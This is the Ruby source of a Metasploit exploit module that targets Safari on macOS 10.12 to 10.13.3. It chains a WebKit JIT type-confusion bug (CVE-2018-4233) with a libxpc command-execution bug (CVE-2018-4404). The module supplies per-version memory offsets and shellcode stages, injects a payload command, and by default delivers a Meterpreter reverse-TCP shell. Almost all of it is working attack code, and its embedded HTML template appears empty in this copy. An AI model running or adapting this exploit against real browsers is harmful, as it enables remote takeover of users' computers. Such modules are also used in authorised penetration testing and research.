## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Safari Proxy Object Type Confusion', 'Description' => %q{ This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233). The JIT region is then replaced with shellcode which loads the second stage. The second stage exploits a logic error in libxpc, which uses command execution via the launchd's "spawn_via_launchd" API (CVE-2018-4404). }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo' ], 'References' => [ ['CVE', '2018-4233'], ['CVE', '2018-4404'], ['URL', 'https://github.com/saelo/cve-2018-4233'], ['URL', 'https://github.com/saelo/pwn2own2018'], ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'], ], 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], 'Platform' => 'osx', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], ], 'DisclosureDate' => 'Mar 15 2018')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]), ]) end def offset_table { '10.12.6' => { :jsc_vtab => '0x0000d8d8', :dyld_stub_loader => '0x00001168', :dlopen => '0x000027f7', :confstr => '0x00002c84', :strlen => '0x00001b40', :strlen_got => '0xdc0', }, '10.13' => { :jsc_vtab => '0x0000e5f8', :dyld_stub_loader => '0x000012a8', :dlopen => '0x00002e60', :confstr => '0x000024fc', :strlen => '0x00001440', :strlen_got => '0xee8', }, '10.13.3' => { :jsc_vtab => '0xe5e8', :dyld_stub_loader => '0x1278', :dlopen => '0x2e30', :confstr => '0x24dc', :strlen => '0x1420', :strlen_got => '0xee0', }, } end def exploit_data(directory, file) path = ::File.join Msf::Config.data_directory, 'exploits', directory, file ::File.binread path end def stage1_js stage1 = exploit_data "CVE-2018-4233", "stage1.bin" "var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);" end def stage2_js stage2 = exploit_data "CVE-2018-4404", "stage2.dylib" payload_cmd = payload.raw if target['Arch'] == ARCH_PYTHON payload_cmd = "echo \"#{payload_cmd}\" | python" end placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER') stage2[placeholder_index, payload_cmd.length] = payload_cmd "var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);" end def get_offsets(user_agent) if user_agent =~ /Intel Mac OS X (.*?)\)/ version = $1.gsub("_", ".") mac_osx_version = Gem::Version.new(version) if mac_osx_version >= Gem::Version.new('10.13.4') print_warning "macOS version #{mac_osx_version} is not vulnerable" elsif mac_osx_version < Gem::Version.new('10.12') print_warning "macOS version #{mac_osx_version} is not vulnerable" elsif offset_table.key?(version) offset = offset_table[version] return <<-EOF const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]}; const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]}; const DLOPEN_OFFSET = #{offset[:dlopen]}; const CONFSTR_OFFSET = #{offset[:confstr]}; const STRLEN_OFFSET = #{offset[:strlen]}; const STRLEN_GOT_OFFSET = #{offset[:strlen_got]}; EOF else print_warning "No offsets for version #{mac_osx_version}" end else print_warning "Unexpected User-Agent" end return false end def on_request_uri(cli, request) user_agent = request['User-Agent'] print_status("Request from #{user_agent}") offsets = get_offsets(user_agent) unless offsets send_not_found(cli) return end utils = exploit_data "CVE-2018-4233", "utils.js" int64 = exploit_data "CVE-2018-4233", "int64.js" html = %Q^ ^ unless datastore['DEBUG_EXPLOIT'] html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') end send_response(cli, html, {'Content-Type'=>'text/html'}) end end